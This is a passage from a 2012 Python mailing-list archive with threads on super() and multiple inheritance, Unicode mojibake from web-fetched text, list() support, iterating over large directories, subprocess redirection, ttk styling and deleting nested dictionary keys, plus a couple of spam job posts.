it isn't. You just code each class to strip out the particular arguments that it uses, and by the time you get up to object, either you've removed all the arguments, or your inheritance tree is buggy. The fix for bug 1683368 means that this latter case is detected and raised as an error. There was a thread not too long ago about the fact that this fix was recently extended to the __init__ methods of immutable classes, and while I'm not convinced that this was the correct thing to do, Terry Reedy pointed out in the issue comments back in 2010 that the proper way to initialize immutable instances is by overriding __new__ rather than __init__, the former of which is still perfectly clean to inherit. > The only reason I can't > just take anybody's code and plop it into my inheritance tree is because > Python demands that each class specifically opts in to MI though > mechanisms like the following: > > 1: class Foo(object): > 2: def __init__(self, foo_bar, *args, **kwargs): > 3: if Foo.__mro__[1] != object: > 4: super().__init__(*args, **kwargs) > 5: > 6: self.bar = foo_bar > > Lines 3 and 4 are required because Foo might fall at the beginning or > the middle of in the inheritance tree: we can't know ahead of time. Of course we can know the full MRO of Foo just by looking at this code. Foo derives from object, and nothing else. The MRO of Foo is therefore (Foo, object), and the test is always false. What we can't know ahead of time is the MRO of *self*, which could be an instance of a subclass of Foo. But line 3 is not testing the MRO of self, only of Foo. If self happens to be an instance of FooBar, with the MRO (FooBar, Foo, Bar, object), then the above code will cause bugs, because Bar.__init__ is never called. In any case, these lines are not necessary. The only reason not to call super() in cooperative MI is if the method does not exist on the super object. A better way to test this would be: if hasattr(super(), '__init__'): super().__init__(**kwargs) However, that test is still silly, since __init__ is a method of object and *always* exists. For non-init methods, best practice is to use a root class (as recommended by Raymond Hettinger [1]). Anything that implements the method would inherit from the root class (to ensure that it will precede the root class in the MRO) and call super(). The root class serves only to end the chain and does not call super(). > From my perspective, it'd be lovely if init methods implicitly accepted > *args and **kwargs while implicitly sending them off to the next class > in the MRO as the first call. This would make the previous example > semantically equivalent to: > > 1: class Foo(object): > 2: def __init__(self, foo_bar): > 3: self.bar = foo_bar > > Granted, that's probably too excessive and implicit for most folks to be > comfortable with, even though that's obviously the behavior a user > intends when they write code like: > > 1: class Baz(Foo, Bar): > 2: def __init__(self): > 3: super().__init__(foo_bar=1, bar_quote="Give me another!") I don't find that obvious at all. Does the implicit super() call happen before or after the body of the method? There are cases where the subclass may want to have some code before and some code after. How do you implicitly call super() in methods that return a value -- what do you implicitly do with the return value of the super() call? How do you write methods that intentionally do not call super, such as in the root classes mentioned above, or in methods that are simply meant to be overridden and not extended? If the user calls Baz(foo_bar=42), then does the super() call from Baz still pass foo_bar=1, or does it implicitly call super() with foo_bar=42 instead, or does it try to do "super().__init__(foo_bar=1, bar_quote="Give me another!", foo_bar=42)" and raise a TypeError due to repeated arguments? From benjamin.kaplan at case.edu Mon Dec 17 04:28:03 2012 From: benjamin.kaplan at case.edu (Benjamin Kaplan) Date: Mon, 17 Dec 2012 01:28:03 -0800 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Mon, Dec 17, 2012 at 12:59 AM, Anatoli Hristov wrote: >> What happens when you do use UTF-8? > This is the result when I encode the string: > " ??troits, en utilisant un portable extr??mement puissant???le plus > petit et le plus l??ger des HP EliteBook pleine puissance???avec un > ??cran de diagonale 31,75 cm (12,5 pouces), id??al pour le > professionnel ultra-mobile. > " > No accents >> >> What do you mean, "use UTF-8"? > > Trying to encode the string >> What's your terminal's encoding? That looks like you have a CP-1252 terminal trying to output UTF-8 text. From tolidtm at gmail.com Mon Dec 17 04:45:18 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Mon, 17 Dec 2012 10:45:18 +0100 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: > What's your terminal's encoding? That looks like you have a CP-1252 > terminal trying to output UTF-8 text. Thanks for your answer, I tried in my terminal and it gives this as an output: LANG=en_US LC_CTYPE="en_US" LC_NUMERIC="en_US" LC_TIME="en_US" LC_COLLATE="en_US" LC_MONETARY="en_US" LC_MESSAGES="en_US" LC_PAPER="en_US" LC_NAME="en_US" LC_ADDRESS="en_US" LC_TELEPHONE="en_US" LC_MEASUREMENT="en_US" LC_IDENTIFICATION="en_US" LC_ALL= From vlastimil.brom at gmail.com Mon Dec 17 05:02:11 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Mon, 17 Dec 2012 11:02:11 +0100 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: 2012/12/17 Anatoli Hristov : > What happens when you do use UTF-8? This is the result when I encode the string: " ??troits, en utilisant un portable extr??mement puissant???le plus petit et le plus l??ger des HP EliteBook pleine puissance???avec un ??cran de diagonale 31,75 cm (12,5 pouces), id??al pour le professionnel ultra-mobile. " No accents > Hi, if you only see encoding problems on printing results to your terminal, its settings or unicode capability might be the cause, however, if you also get badly encoding items in the database, you are likely using an inappropriate encoding in some step. you seem to be doing something like the following (explicitly or partly implicitly, based on your system defaults): >>> print u"?troits, en utilisant un portable extr?mement puissant".encode("utf-8").decode("windows-1252") ??troits, en utilisant un portable extr??mement puissant >>> i.e. encode a text using utf-8 and handling it like windows-1252 afterwards (or take an already encoded text and decode it with the inappropriate ANSI encoding. hth, vbr From tolidtm at gmail.com Mon Dec 17 05:17:16 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Mon, 17 Dec 2012 11:17:16 +0100 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: > if you only see encoding problems on printing results to your > terminal, its settings or unicode capability might be the cause, > however, if you also get badly encoding items in the database, you are > likely using an inappropriate encoding in some step. I get badly encoding into my DB > you seem to be doing something like the following (explicitly or > partly implicitly, based on your system defaults): > >>>> print u"?troits, en utilisant un portable extr?mement puissant".encode("utf-8").decode("windows-1252") > ??troits, en utilisant un portable extr??mement puissant >>>> > > i.e. encode a text using utf-8 and handling it like windows-1252 > afterwards (or take an already encoded text and decode it with the > inappropriate ANSI encoding. Thank you Vlastimil, I tried to print it as you sholed mr, but I receive an erro: >>> print u"?troits, en utilisant un portable extr?mement puissant".encode("utf-8").decode("windows-1252") Traceback (most recent call last): File "", line 1, in ? UnicodeEncodeError: 'latin-1' codec can't encode character u'\u0192' in position 1: ordinal not in range(256) >>> From vlastimil.brom at gmail.com Mon Dec 17 05:55:10 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Mon, 17 Dec 2012 11:55:10 +0100 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: 2012/12/17 Anatoli Hristov : >> if you only see encoding problems on printing results to your >> terminal, its settings or unicode capability might be the cause, >> however, if you also get badly encoding items in the database, you are >> likely using an inappropriate encoding in some step. > > I get badly encoding into my DB > >> you seem to be doing something like the following (explicitly or >> partly implicitly, based on your system defaults): >> >>>>> print u"?troits, en utilisant un portable extr?mement puissant".encode("utf-8").decode("windows-1252") >> ??troits, en utilisant un portable extr??mement puissant >>>>> >> >> i.e. encode a text using utf-8 and handling it like windows-1252 >> afterwards (or take an already encoded text and decode it with the >> inappropriate ANSI encoding. > > Thank you Vlastimil, > > I tried to print it as you sholed mr, but I receive an erro: >>>> print u"?troits, en utilisant un portable extr?mement puissant".encode("utf-8").decode("windows-1252") > Traceback (most recent call last): > File "", line 1, in ? > UnicodeEncodeError: 'latin-1' codec can't encode character u'\u0192' > in position 1: ordinal not in range(256) >>>> Hi, this seems to be an encoding error of your terminal on printing. You may need to describe (or better post the respective parts of the source) where the text is coming from (external text file, database entry, harcoded in the python source ...), how it is stored, retrieved and possibly manipulated before you insert it to the database. You may try to print a repr(...) of the string to be inserted to the database to see, whether it isn't already mangled in some previous part of the processing. hth, vbr From tolidtm at gmail.com Mon Dec 17 06:14:09 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Mon, 17 Dec 2012 12:14:09 +0100 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: > this seems to be an encoding error of your terminal on printing. > You may need to describe (or better post the respective parts of the > source) where the text is coming from (external text file, database > entry, harcoded in the python source ...), how it is stored, retrieved > and possibly manipulated before you insert it to the database. > Here is how I get the data using the urllib opener: def GetSpecsFR(icecat_prod_id): opener = urllib.FancyURLopener({}) ffr = opener.open("http://prf.icecat.biz/index.cgi?product_id=%s;mi=start;smi=product;shopname=openICEcat-url;lang=fr" % icecat_prod_id) specsfr = ffr.read() #specsfr = specsfr.decode('utf-8') specsfr = RemoveHTML(specsfr) ##specsfr = "%r" % specsfr ## if specsfr: ## try: ## specsfr = str(specsfr) ## except UnicodeEncodeError: ## specsfr = str(specsfr.encode('utf-16')) return specsfr From vlastimil.brom at gmail.com Mon Dec 17 06:56:06 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Mon, 17 Dec 2012 12:56:06 +0100 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: 2012/12/17 Anatoli Hristov : >> this seems to be an encoding error of your terminal on printing. >> You may need to describe (or better post the respective parts of the >> source) where the text is coming from (external text file, database >> entry, harcoded in the python source ...), how it is stored, retrieved >> and possibly manipulated before you insert it to the database. >> > Here is how I get the data using the urllib opener: > > def GetSpecsFR(icecat_prod_id): > opener = urllib.FancyURLopener({}) > ffr = opener.open("http://prf.icecat.biz/index.cgi?product_id=%s;mi=start;smi=product;shopname=openICEcat-url;lang=fr" > % icecat_prod_id) > specsfr = ffr.read() > #specsfr = specsfr.decode('utf-8') > specsfr = RemoveHTML(specsfr) > ##specsfr = "%r" % specsfr > ## if specsfr: > ## try: > ## specsfr = str(specsfr) > ## except UnicodeEncodeError: > ## specsfr = str(specsfr.encode('utf-16')) > return specsfr Hi, I don't know, what the product ID would look like, for this page, but assuming, the catalog pages are also utf-8 encoded as well as the error page I get, it should work ok; cf.: >>> import urllib >>> opener = urllib.FancyURLopener({}) >>> ffr = opener.open("http://prf.icecat.biz/index.cgi?product_id=%s;mi=start;smi=product;shopname=openICEcat-url;lang=fr" % (1234,)) >>> src = ffr.read() >>> print src.decode("utf-8") [... - shortened]
"D?sol?, pour ce produit, nous n'avons pas trouv? d'autres informations produit.
Si vous n'?tes pas redirig?s automatiquement, veuillez cliquer" ici
>>> Printing on an unicode-capable shell works ok (wx PyShell in my case), inserting to the database should be straightforward too (although I don't have experiences with the specific db you are using. Are you getting another unicode errors in other parts of the process, or do the above steps work differently on your computer? hth, vbr From steve+comp.lang.python at pearwood.info Mon Dec 17 07:18:14 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 17 Dec 2012 12:18:14 GMT Subject: python-daemon References: <249e24aa-ea0e-4dab-afbe-bfeb5ce98592@googlegroups.com> Message-ID: <50cf0d86$0$29991$c3e8da3$5496439d@news.astraweb.com> On Sun, 16 Dec 2012 08:59:46 -0800, rurpy wrote: > Or you could repost from other than GG if you don't mind being a tool of > someone else's political agenda. We're all tools of someone's political agenda. -- Steven From skip at pobox.com Mon Dec 17 09:33:25 2012 From: skip at pobox.com (Skip Montanaro) Date: Mon, 17 Dec 2012 14:33:25 +0000 (UTC) Subject: Supporting list() Message-ID: What method(s) does a class have to support to properly emulate a container which supports turning it into a list? For example: class Foo: pass f = Foo() print list(f) Is it just __iter__() and next()? (I'm still using 2.4 and 2.7.) Thx, Skip From groupd at hot-skills.com Mon Dec 17 09:51:54 2012 From: groupd at hot-skills.com (Job Alert) Date: Mon, 17 Dec 2012 06:51:54 -0800 (PST) Subject: Hot Requirement Business Objects Developer Message-ID: Hot Requirement Business Objects Developer Apply here http://www.hot-skills.com/display-job/57491/Business-Objects-Developer.html From groupd at hot-skills.com Mon Dec 17 09:53:11 2012 From: groupd at hot-skills.com (Job Alert) Date: Mon, 17 Dec 2012 06:53:11 -0800 (PST) Subject: Hot Requirement Business Objects Developer Message-ID: <3f71e1f2-b899-4bcc-897b-1b9e0df93af0@googlegroups.com> Hot Requirement Business Objects Developer Apply here http://www.hot-skills.com/display-job/57491/Business-Objects-Developer.html From d at davea.name Mon Dec 17 09:55:15 2012 From: d at davea.name (Dave Angel) Date: Mon, 17 Dec 2012 09:55:15 -0500 Subject: Supporting list() In-Reply-To: References: Message-ID: <50CF3253.5020607@davea.name> On 12/17/2012 09:33 AM, Skip Montanaro wrote: > What method(s) does a class have to support to properly emulate a container > which supports turning it into a list? For example: > > class Foo: > pass > > f = Foo() > print list(f) > > Is it just __iter__() and next()? (I'm still using 2.4 and 2.7.) I believe the container class needs to define the __iter__() method, which has to return an iterator object. That (possibly different) iterator class needs both an __iter__() method and a next() method. If the container class is also the iterator class, which is common, then you just need one __iter__() method, which returns self. -- DaveA From gilles.lenfant at gmail.com Mon Dec 17 10:28:46 2012 From: gilles.lenfant at gmail.com (Gilles Lenfant) Date: Mon, 17 Dec 2012 07:28:46 -0800 (PST) Subject: Iterating over files of a huge directory Message-ID: Hi, I have googled but did not find an efficient solution to my problem. My customer provides a directory with a huuuuge list of files (flat, potentially 100000+) and I cannot reasonably use os.listdir(this_path) unless creating a big memory footprint. So I'm looking for an iterator that yields the file names of a directory and does not make a giant list of what's in. i.e : for filename in enumerate_files(some_directory): # My cooking... Many thanks by advance. -- Gilles Lenfant From rosuav at gmail.com Mon Dec 17 10:41:42 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 18 Dec 2012 02:41:42 +1100 Subject: Iterating over files of a huge directory In-Reply-To: References: Message-ID: On Tue, Dec 18, 2012 at 2:28 AM, Gilles Lenfant wrote: > Hi, > > I have googled but did not find an efficient solution to my problem. My customer provides a directory with a huuuuge list of files (flat, potentially 100000+) and I cannot reasonably use os.listdir(this_path) unless creating a big memory footprint. > > So I'm looking for an iterator that yields the file names of a directory and does not make a giant list of what's in. Sounds like you want os.walk. But... a hundred thousand files? I know the Zen of Python says that flat is better than nested, but surely there's some kind of directory structure that would make this marginally manageable? http://docs.python.org/3.3/library/os.html#os.walk ChrisA From mail at timgolden.me.uk Mon Dec 17 10:48:19 2012 From: mail at timgolden.me.uk (Tim Golden) Date: Mon, 17 Dec 2012 15:48:19 +0000 Subject: Iterating over files of a huge directory In-Reply-To: References: Message-ID: <50CF3EC3.5090209@timgolden.me.uk> On 17/12/2012 15:41, Chris Angelico wrote: > On Tue, Dec 18, 2012 at 2:28 AM, Gilles Lenfant > wrote: >> Hi, >> >> I have googled but did not find an efficient solution to my >> problem. My customer provides a directory with a huuuuge list of >> files (flat, potentially 100000+) and I cannot reasonably use >> os.listdir(this_path) unless creating a big memory footprint. >> >> So I'm looking for an iterator that yields the file names of a >> directory and does not make a giant list of what's in. > > Sounds like you want os.walk. But... a hundred thousand files? I > know the Zen of Python says that flat is better than nested, but > surely there's some kind of directory structure that would make this > marginally manageable? > > http://docs.python.org/3.3/library/os.html#os.walk Unfortunately all of the built-in functions (os.walk, glob.glob, os.listdir) rely on the os.listdir functionality which produces a list first even if (as in glob.iglob) it later iterates over it. There are external functions to iterate over large directories in both Windows & Linux. I *think* the OP is on *nix from his previous posts, in which case someone else will have to produce the Linux-speak for this. If it's Windows, you can use the FindFilesIterator in the pywin32 package. TJG From marduk at python.net Mon Dec 17 10:50:21 2012 From: marduk at python.net (marduk) Date: Mon, 17 Dec 2012 10:50:21 -0500 Subject: Iterating over files of a huge directory In-Reply-To: References: Message-ID: <1355759421.27388.140661167090449.7F58E675@webmail.messagingengine.com> On Mon, Dec 17, 2012, at 10:28 AM, Gilles Lenfant wrote: > Hi, > > I have googled but did not find an efficient solution to my problem. My > customer provides a directory with a huuuuge list of files (flat, > potentially 100000+) and I cannot reasonably use os.listdir(this_path) > unless creating a big memory footprint. > > So I'm looking for an iterator that yields the file names of a directory > and does not make a giant list of what's in. > > i.e : > > for filename in enumerate_files(some_directory): > # My cooking... > You could try using opendir[1] which is a binding to the posix call. I believe that it returns an iterator (file-like) of the entries in the directory. [1] http://pypi.python.org/pypi/opendir/ From skip at pobox.com Mon Dec 17 10:51:59 2012 From: skip at pobox.com (Skip Montanaro) Date: Mon, 17 Dec 2012 15:51:59 +0000 (UTC) Subject: Supporting list() References: <50CFAB13.3010707@stoneleaf.us> Message-ID: > If using __getitem__ it needs to work with integers from 0 to len(f)-1, > and raise IndexError for len(f), len(f+1), etc. Ah, thanks. I have a __getitem__ method, but it currently doesn't raise IndexError. (I'm indexing into a ring buffer, and the usage of the class pretty much precludes indexing with an out-of-bounds index.) S From oscar.j.benjamin at gmail.com Mon Dec 17 10:52:19 2012 From: oscar.j.benjamin at gmail.com (Oscar Benjamin) Date: Mon, 17 Dec 2012 15:52:19 +0000 Subject: Iterating over files of a huge directory In-Reply-To: References: Message-ID: On 17 December 2012 15:28, Gilles Lenfant wrote: > I have googled but did not find an efficient solution to my problem. My customer provides a directory with a huuuuge list of files (flat, potentially 100000+) and I cannot reasonably use os.listdir(this_path) unless creating a big memory footprint. > > So I'm looking for an iterator that yields the file names of a directory and does not make a giant list of what's in. > > i.e : > > for filename in enumerate_files(some_directory): > # My cooking... In the last couple of months there has been a lot of discussion (on python-list or python-dev - not sure) about creating a library to more efficiently iterate over the files in a directory. The result so far is this library on github: https://github.com/benhoyt/betterwalk It says there that """ Somewhat relatedly, many people have also asked for a version of os.listdir() that yields filenames as it iterates instead of returning them as one big list. So as well as a faster walk(), BetterWalk adds iterdir_stat() and iterdir(). They're pretty easy to use, but see below for the full API docs. """ Does that code work for you? If so, I imagine the author would be interested to get some feedback on how well it works. Alternatively, perhaps consider calling an external utility. Oscar From gilles.lenfant at gmail.com Mon Dec 17 11:06:28 2012 From: gilles.lenfant at gmail.com (Gilles Lenfant) Date: Mon, 17 Dec 2012 08:06:28 -0800 (PST) Subject: Iterating over files of a huge directory In-Reply-To: References: Message-ID: Le lundi 17 d?cembre 2012 16:52:19 UTC+1, Oscar Benjamin a ?crit?: > On 17 December 2012 15:28, Gilles Lenfant <...> wrote: > > > In the last couple of months there has been a lot of discussion (on > > python-list or python-dev - not sure) about creating a library to more > > efficiently iterate over the files in a directory. The result so far > > is this library on github: > > https://github.com/benhoyt/betterwalk > > > > It says there that > > """ > > Somewhat relatedly, many people have also asked for a version of > > os.listdir() that yields filenames as it iterates instead of returning > > them as one big list. > > > > So as well as a faster walk(), BetterWalk adds iterdir_stat() and > > iterdir(). They're pretty easy to use, but see below for the full API > > docs. > > """ > > > > Does that code work for you? If so, I imagine the author would be > > interested to get some feedback on how well it works. > > > > Alternatively, perhaps consider calling an external utility. > Many thanks for this pointer Oscar. "betterwalk" is exactly what I was looking for. More particularly iterdir(...) and iterdir_stat(...) I'll get a deeper look at betterwalk and provide (hopefully successful) feedback. Cheers -- Gilles Lenfant From gilles.lenfant at gmail.com Mon Dec 17 11:06:28 2012 From: gilles.lenfant at gmail.com (Gilles Lenfant) Date: Mon, 17 Dec 2012 08:06:28 -0800 (PST) Subject: Iterating over files of a huge directory In-Reply-To: References: Message-ID: Le lundi 17 d?cembre 2012 16:52:19 UTC+1, Oscar Benjamin a ?crit?: > On 17 December 2012 15:28, Gilles Lenfant <...> wrote: > > > In the last couple of months there has been a lot of discussion (on > > python-list or python-dev - not sure) about creating a library to more > > efficiently iterate over the files in a directory. The result so far > > is this library on github: > > https://github.com/benhoyt/betterwalk > > > > It says there that > > """ > > Somewhat relatedly, many people have also asked for a version of > > os.listdir() that yields filenames as it iterates instead of returning > > them as one big list. > > > > So as well as a faster walk(), BetterWalk adds iterdir_stat() and > > iterdir(). They're pretty easy to use, but see below for the full API > > docs. > > """ > > > > Does that code work for you? If so, I imagine the author would be > > interested to get some feedback on how well it works. > > > > Alternatively, perhaps consider calling an external utility. > Many thanks for this pointer Oscar. "betterwalk" is exactly what I was looking for. More particularly iterdir(...) and iterdir_stat(...) I'll get a deeper look at betterwalk and provide (hopefully successful) feedback. Cheers -- Gilles Lenfant From d at davea.name Mon Dec 17 11:14:03 2012 From: d at davea.name (Dave Angel) Date: Mon, 17 Dec 2012 11:14:03 -0500 Subject: Supporting list() In-Reply-To: <50CFAA73.30701@stoneleaf.us> References: <50CF3253.5020607@davea.name> <50CFAA73.30701@stoneleaf.us> Message-ID: <50CF44CB.1010106@davea.name> On 12/17/2012 06:27 PM, Ethan Furman wrote: > Dave Angel wrote: >> On 12/17/2012 09:33 AM, Skip Montanaro wrote: >>> What method(s) does a class have to support to properly emulate a >>> container >>> which supports turning it into a list? For example: >>> >>> class Foo: >>> pass >>> >>> f = Foo() >>> print list(f) >>> >>> Is it just __iter__() and next()? (I'm still using 2.4 and 2.7.) >> >> I believe the container class needs to define the __iter__() method, >> which has to return an iterator object. >> >> That (possibly different) iterator class needs both an __iter__() method >> and a next() method. >> >> If the container class is also the iterator class, which is common, then >> you just need one __iter__() method, which returns self. > > The `next()` method is also needed, as `__iter__()` and `next()` are the > two methods that make up the iterator protocol (`__next__` in python 3k). > > ~Ethan~ > > Didn't I say that? The next() method need not be in the container class; it needs to be in the iterator class returned by the __iter__() method. class MyIter(): def __init__(self, value): self.internal = value def __iter__(self): return self def next(self): self.internal += 1 if self.internal > 100: raise StopIteration return self.internal class Container: def __iter__(self): return MyIter(42) for item in Container(): print item print list(Container()) (tested in Python 2.7) AHH, upon rereading, I see you misinterpreted what I meant. I was trying to say that if there was only one class serving as both container and iterator, you only needed one of the __iter__() methods instead of two. In other words, you need two methods, not three. -- DaveA From conor.robinson at gmail.com Mon Dec 17 11:30:13 2012 From: conor.robinson at gmail.com (py_genetic) Date: Mon, 17 Dec 2012 08:30:13 -0800 (PST) Subject: os.system and subprocess odd behavior In-Reply-To: References: Message-ID: <098ece3c-5cf0-4cd9-a2d1-eb5020017597@googlegroups.com> Thanks! I am using .txt extensions. Sorry for being a little vague. From conor.robinson at gmail.com Mon Dec 17 11:30:13 2012 From: conor.robinson at gmail.com (py_genetic) Date: Mon, 17 Dec 2012 08:30:13 -0800 (PST) Subject: os.system and subprocess odd behavior In-Reply-To: References: Message-ID: <098ece3c-5cf0-4cd9-a2d1-eb5020017597@googlegroups.com> Thanks! I am using .txt extensions. Sorry for being a little vague. From conor.robinson at gmail.com Mon Dec 17 11:39:15 2012 From: conor.robinson at gmail.com (py_genetic) Date: Mon, 17 Dec 2012 08:39:15 -0800 (PST) Subject: os.system and subprocess odd behavior In-Reply-To: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> References: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> Message-ID: <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> Thanks for verifying this for me Steven. I'm glad you are seeing it work. It's really the strangest thing. The issue seems to be with the " > outfile.txt" portion of the command. The actual command is running a query on a verticalDB and dumping the result. The EXACT command run from the command line runs just fine. Even if I use the simple cat command to and out file as just a simple test case... The file is created with zero bytes (see below)... but its as if python moves on or gets an 0 exit code after the first part of the cmd is executed and no data is written. -rw-r--r-- 1 root root 0 Dec 14 15:33 QUAD_12142012203251.TXT Any thoughts as to why on my end this may happen? Thanks again! From netrick at o2.pl Mon Dec 17 12:02:54 2012 From: netrick at o2.pl (=?UTF-8?Q?Netrick?=) Date: Mon, 17 Dec 2012 18:02:54 +0100 Subject: =?UTF-8?Q?How_to_exactly_set_style_in_tkinter.?= =?UTF-8?Q?ttk?= In-Reply-To: References: Message-ID: <1fa4e1a3.209f0ec0.50cf503e.8c0b1@o2.pl> So, we have now in python 3 the tile module?http://tktable.sourceforge.net/tile/screenshots/unix.html?integrated as tkinter.ttk. However, in the python and tk docs there is a lot about that tkk, but only how to set your own style for specific widgets. There is nothing on how to use that built-in theme (the one that interests me is the "Revitalized" one, see the link I wrote) as a global style for all widgets. How can I do it? I just want my python 3.3 app to use that built-in style, but I can't find anything in docs about it. ? Or we have better way for tkinter on linux to look more native and less ugly? (for example IDLE for python 3.3 written in tkinter looks like windows 95 app on linux and pretty good on windows xp). ? Thanks! -------------- next part -------------- An HTML attachment was scrubbed... URL: From oscar.j.benjamin at gmail.com Mon Dec 17 12:16:44 2012 From: oscar.j.benjamin at gmail.com (Oscar Benjamin) Date: Mon, 17 Dec 2012 17:16:44 +0000 Subject: os.system and subprocess odd behavior In-Reply-To: <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> References: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> Message-ID: On 17 December 2012 16:39, py_genetic wrote: > Thanks for verifying this for me Steven. I'm glad you are seeing it work. It's really the strangest thing. > > The issue seems to be with the " > outfile.txt" portion of the command. > > The actual command is running a query on a verticalDB and dumping the result. The EXACT command run from the command line runs just fine. > > Even if I use the simple cat command to and out file as just a simple test case... The file is created with zero bytes (see below)... but its as if python moves on or gets an 0 exit code after the first part of the cmd is executed and no data is written. > > -rw-r--r-- 1 root root 0 Dec 14 15:33 QUAD_12142012203251.TXT > > Any thoughts as to why on my end this may happen? Because of the root permissions on the file? What happens if you write to a file that doesn't need privileged access? Instead of running the "exact command", run the cat commands you posted (that Steven has confirmed as working) and run them somewhere in your user directory without root permissions. Also you may want to use subprocess.check_call as this raises a Python error if the command returns an error code. Oscar From paul.nospam at rudin.co.uk Mon Dec 17 12:27:13 2012 From: paul.nospam at rudin.co.uk (Paul Rudin) Date: Mon, 17 Dec 2012 17:27:13 +0000 Subject: Iterating over files of a huge directory References: Message-ID: <87d2y8io7i.fsf@no-fixed-abode.cable.virginmedia.net> Chris Angelico writes: > On Tue, Dec 18, 2012 at 2:28 AM, Gilles Lenfant > wrote: >> Hi, >> >> I have googled but did not find an efficient solution to my >> problem. My customer provides a directory with a huuuuge list of >> files (flat, potentially 100000+) and I cannot reasonably use >> os.listdir(this_path) unless creating a big memory footprint. >> >> So I'm looking for an iterator that yields the file names of a >> directory and does not make a giant list of what's in. > > Sounds like you want os.walk. But doesn't os.walk call listdir() and that creates a list of the contents of a directory, which is exactly the initial problem? > But... a hundred thousand files? I know the Zen of Python says that > flat is better than nested, but surely there's some kind of directory > structure that would make this marginally manageable? > Sometimes you have to deal with things other people have designed, so the directory structure is not something you can control. I've run up against exactly the same problem and made something in C that implemented an iterator. It would probably be better if listdir() made an iterator rather than a list. From gnarlodious at gmail.com Mon Dec 17 12:27:48 2012 From: gnarlodious at gmail.com (Gnarlodious) Date: Mon, 17 Dec 2012 09:27:48 -0800 (PST) Subject: Delete dict and subdict items of some name Message-ID: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> Hello. What I want to do is delete every dictionary key/value of the name 'Favicon' regardless of depth in subdicts, of which there are many. What is the best way to do it? -- Gnarlie From oscar.j.benjamin at gmail.com Mon Dec 17 12:42:26 2012 From: oscar.j.benjamin at gmail.com (Oscar Benjamin) Date: Mon, 17 Dec 2012 17:42:26 +0000 Subject: Delete dict and subdict items of some name In-Reply-To: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> Message-ID: On 17 December 2012 17:27, Gnarlodious wrote: > Hello. What I want to do is delete every dictionary key/value of the name 'Favicon' regardless of depth in subdicts, of which there are many. What is the best way to do it? You might need to be a bit clearer about what you mean by subdicts. I don't really know what you mean. Could you perhaps post some short code that creates the kind of data structure you are referring to? e.g. Do you mean something like this? d = { 'a': {'b': 'Favicon'}, 'b': {'c': 'Favicon'}, } Oscar From tolidtm at gmail.com Mon Dec 17 12:43:57 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Mon, 17 Dec 2012 18:43:57 +0100 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: > Hi, > I don't know, what the product ID would look like, for this page, but > assuming, the catalog pages are also utf-8 encoded as well as the > error page I get, it should work ok; cf.: You are right, I get it work on Windows too, but not in Linux. I changed the codec of linux, but still I don't get it Here is what I get from Linux: >>> import urllib >>> opener = urllib.FancyURLopener({}) >>> ffr = opener.open("http://prf.icecat.biz/index.cgi?product_id=%s;mi=start;smi=product;shopname=openICEcat-url;lang=fr" % (14688538)) >>> src = ffr.read() >>> print src.decode("utf-8") Traceback (most recent call last): File "", line 1, in ? UnicodeEncodeError: 'latin-1' codec can't encode character u'\u2122' in position 17167: ordinal not in range(256) From msirenef at lightbird.net Mon Dec 17 12:43:58 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Mon, 17 Dec 2012 12:43:58 -0500 Subject: Delete dict and subdict items of some name In-Reply-To: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> Message-ID: <50CF59DE.6080608@lightbird.net> On 12/17/2012 12:27 PM, Gnarlodious wrote: > Hello. What I want to do is delete every dictionary key/value of the name 'Favicon' regardless of depth in subdicts, of which there are many. What is the best way to do it? > > -- Gnarlie Something like this should work: def delkey(d, key): if isinstance(d, dict): if key in d: del d[key] for val in d.values(): delkey(val, key) -- Lark's Tongue Guide to Python: http://lightbird.net/larks/ From no.email at nospam.invalid Mon Dec 17 12:48:02 2012 From: no.email at nospam.invalid (Paul Rubin) Date: Mon, 17 Dec 2012 09:48:02 -0800 Subject: Delete dict and subdict items of some name References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> Message-ID: <7xvcc07ep9.fsf@ruckus.brouhaha.com> Gnarlodious writes: > Hello. What I want to do is delete every dictionary key/value of the > name 'Favicon' regardless of depth in subdicts, of which there are > many. What is the best way to do it? Untested: def unfav(x): if type(x) != dict: return x return dict((k,unfav(v)) for k,v in x.iteritems() if k != 'favicon') From d at davea.name Mon Dec 17 12:50:57 2012 From: d at davea.name (Dave Angel) Date: Mon, 17 Dec 2012 12:50:57 -0500 Subject: Delete dict and subdict items of some name In-Reply-To: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> References: 